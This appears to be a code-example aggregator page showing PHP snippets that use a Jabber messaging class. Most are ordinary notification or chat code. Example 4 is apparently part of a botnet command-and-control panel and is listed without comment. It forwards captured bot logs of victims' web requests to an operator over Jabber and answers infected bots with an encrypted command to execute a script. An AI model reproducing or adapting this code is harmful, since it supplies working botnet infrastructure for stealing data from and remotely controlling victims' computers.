public static function send($sendMessageTo, $message)
 {
     require_once 'class_Jabber.php';
     $jab = new Jabber();
     if (!is_array($sendMessageTo)) {
         $sendMessageTo = array($sendMessageTo);
     }
     new self($jab, $sendMessageTo, $message);
     if (!$jab->connect("vivid")) {
         throw new Kwf_Exception("Could not connect to the Jabber server");
     }
     $jab->execute(1, 3);
     $jab->disconnect();
 }
Example #2
0
 /**
  * Requests authorisation, so that our jabber account is allowed to send messages to the users.
  * @param string $email
  * @access public static
  * @return bool
  */
 function JabberRequestAuth($email)
 {
     global $fs;
     include_once BASEDIR . '/includes/class.jabber2.php';
     if (empty($fs->prefs['jabber_server']) || empty($fs->prefs['jabber_port']) || empty($fs->prefs['jabber_username']) || empty($fs->prefs['jabber_password'])) {
         return false;
     }
     if (!isset($fs->prefs['jabber_ssl'])) {
         $fs->prefs['jabber_ssl'] = true;
     }
     $JABBER = new Jabber($fs->prefs['jabber_username'], $fs->prefs['jabber_password'], $fs->prefs['jabber_ssl'], $fs->prefs['jabber_port']);
     $JABBER->login();
     $JABBER->send("<presence to='" . Jabber::jspecialchars($email) . "' type='subscribe'/>");
     $JABBER->disconnect();
 }
Example #3
0
$display_debug_info = true;
$jab = new Jabber($display_debug_info);
// create an instance of our event handler class
$test = new TestMessenger($jab);
// set handlers for the events we wish to be notified about
$jab->set_handler("connected", $test, "handleConnected");
$jab->set_handler("authenticated", $test, "handleAuthenticated");
$jab->set_handler("authfailure", $test, "handleAuthFailure");
$jab->set_handler("heartbeat", $test, "handleHeartbeat");
$jab->set_handler("error", $test, "handleError");
$jab->set_handler("message_normal", $test, "handleMessage");
$jab->set_handler("message_chat", $test, "handleMessage");
$jab->set_handler("debug_log", $test, "handleDebug");
$jab->set_handler("rosterupdate", $test, "handleRosterUpdate");
echo "Connecting ...\n";
// connect to the Jabber server
if (!$jab->connect(JABBER_SERVER)) {
    die("Could not connect to the Jabber server!\n");
}
// now, tell the Jabber class to begin its execution loop
$jab->execute(CBK_FREQ, RUN_TIME);
// Note that we will not reach this point (and the execute() method will not
// return) until $jab->terminated is set to TRUE.  The execute() method simply
// loops, processing data from (and to) the Jabber server, and firing events
// (which are handled by our TestMessenger class) until we tell it to terminate.
//
// This event-based model will be familiar to programmers who have worked on
// desktop applications, particularly in Win32 environments.
// disconnect from the Jabber server
$jab->disconnect();
Example #4
0
function imNotify(&$type, &$list, &$botId)
{
    if (($type == BLT_HTTP_REQUEST || $type == BLT_HTTPS_REQUEST) && !empty($list[SBCID_PATH_SOURCE])) {
        $ml = explode("", $GLOBALS['config']['reports_jn_list']);
        foreach ($ml as &$mask) {
            if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $list[SBCID_PATH_SOURCE]) > 0) {
                $message = htmlentities("Bot ID: " . $botId . "\nURL: " . $list[SBCID_PATH_SOURCE] . "\n\n" . substr($list[SBCID_BOTLOG], 0, 1024));
                error_reporting(0);
                if (strlen($GLOBALS['config']['reports_jn_logfile']) > 0 && ($fh = @fopen($GLOBALS['config']['reports_jn_logfile'], 'at')) !== false) {
                    @fwrite($fh, $message . "\n\n" . str_repeat('=', 40) . "\n\n");
                    @fclose($fh);
                }
                require_once "system/jabberclass.php";
                $jab = new Jabber();
                $jab->server = $GLOBALS['config']['reports_jn_server'];
                $jab->port = $GLOBALS['config']['reports_jn_port'];
                $jab->username = $GLOBALS['config']['reports_jn_account'];
                $jab->password = $GLOBALS['config']['reports_jn_pass'];
                if ($jab->connect()) {
                    $jab->sendAuth();
                    $jab->sendPresence(NULL, NULL, "online");
                    $jab->sendMessage($GLOBALS['config']['reports_jn_to'], "normal", NULL, array("body" => $message));
                    $jab->disconnect();
                }
                if (strlen($GLOBALS['config']['reports_jn_script']) > 0) {
                    $eid = md5($mask, true);
                    $script = 'user_execute "' . trim($GLOBALS['config']['reports_jn_script']) . '" -f';
                    $size = strlen($eid) + strlen($script);
                    $replyData = pack('LLLL', 1, 0, $size, $size) . $eid . $script;
                    $replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, 1) . md5($replyData, true) . $replyData;
                    visualEncrypt($replyData);
                    rc4($replyData, $GLOBALS['config']['botnet_cryptkey_bin']);
                    echo $replyData;
                    die;
                }
                break;
            }
        }
    }
}
Example #5
0
 function SendJabber()
 {
     global $db, $fs;
     include_once BASEDIR . '/includes/class.jabber2.php';
     if (empty($fs->prefs['jabber_server']) || empty($fs->prefs['jabber_port']) || empty($fs->prefs['jabber_username']) || empty($fs->prefs['jabber_password'])) {
         return false;
     }
     // get listing of all pending jabber notifications
     $result = $db->Query("SELECT DISTINCT message_id\n                            FROM {notification_recipients}\n                            WHERE notify_method='j'");
     if (!$db->CountRows($result)) {
         return false;
     }
     $JABBER = new Jabber($fs->prefs['jabber_username'] . '@' . $fs->prefs['jabber_server'], $fs->prefs['jabber_password'], $fs->prefs['jabber_ssl'], $fs->prefs['jabber_port']);
     $JABBER->login();
     // we have notifications to process - connect
     $JABBER->log("We have notifications to process...");
     $JABBER->log("Starting Jabber session:");
     $ids = array();
     while ($row = $db->FetchRow($result)) {
         $ids[] = $row['message_id'];
     }
     $desired = join(",", array_map('intval', $ids));
     $JABBER->log("message ids to send = {" . $desired . "}");
     // removed array usage as it's messing up the select
     // I suspect this is due to the variable being comma separated
     // Jamin W. Collins 20050328
     $notifications = $db->Query("\n\t\t\t\tSELECT * FROM {notification_messages}\n\t\t\t\tWHERE message_id IN ({$desired})\n\t\t\t\tORDER BY time_created ASC");
     $JABBER->log("number of notifications {" . $db->CountRows($notifications) . "}");
     // loop through notifications
     while ($notification = $db->FetchRow($notifications)) {
         $subject = $notification['message_subject'];
         $body = $notification['message_body'];
         $JABBER->log("Processing notification {" . $notification['message_id'] . "}");
         $recipients = $db->Query("\n\t\t\t\tSELECT * FROM {notification_recipients}\n\t\t\t\tWHERE message_id = ?\n\t\t\t\tAND notify_method = 'j'", array($notification['message_id']));
         // loop through recipients
         while ($recipient = $db->FetchRow($recipients)) {
             $jid = $recipient['notify_address'];
             $JABBER->log("- attempting send to {" . $jid . "}");
             // send notification
             if ($JABBER->send_message($jid, $body, $subject, 'normal')) {
                 // delete entry from notification_recipients
                 $result = $db->Query("DELETE FROM {notification_recipients}\n                                         WHERE message_id = ?\n                                         AND notify_method = 'j'\n                                         AND notify_address = ?", array($notification['message_id'], $jid));
                 $JABBER->log("- notification sent");
             } else {
                 $JABBER->log("- notification not sent");
             }
         }
         // check to see if there are still recipients for this notification
         $result = $db->Query("SELECT * FROM {notification_recipients}\n                                  WHERE message_id = ?", array($notification['message_id']));
         if ($db->CountRows($result) == 0) {
             $JABBER->log("No further recipients for message id {" . $notification['message_id'] . "}");
             // remove notification no more recipients
             $result = $db->Query("DELETE FROM {notification_messages}\n                                     WHERE message_id = ?", array($notification['message_id']));
             $JABBER->log("- Notification deleted");
         }
     }
     // disconnect from server
     $JABBER->disconnect();
     $JABBER->log("Disconnected from Jabber server");
     return true;
 }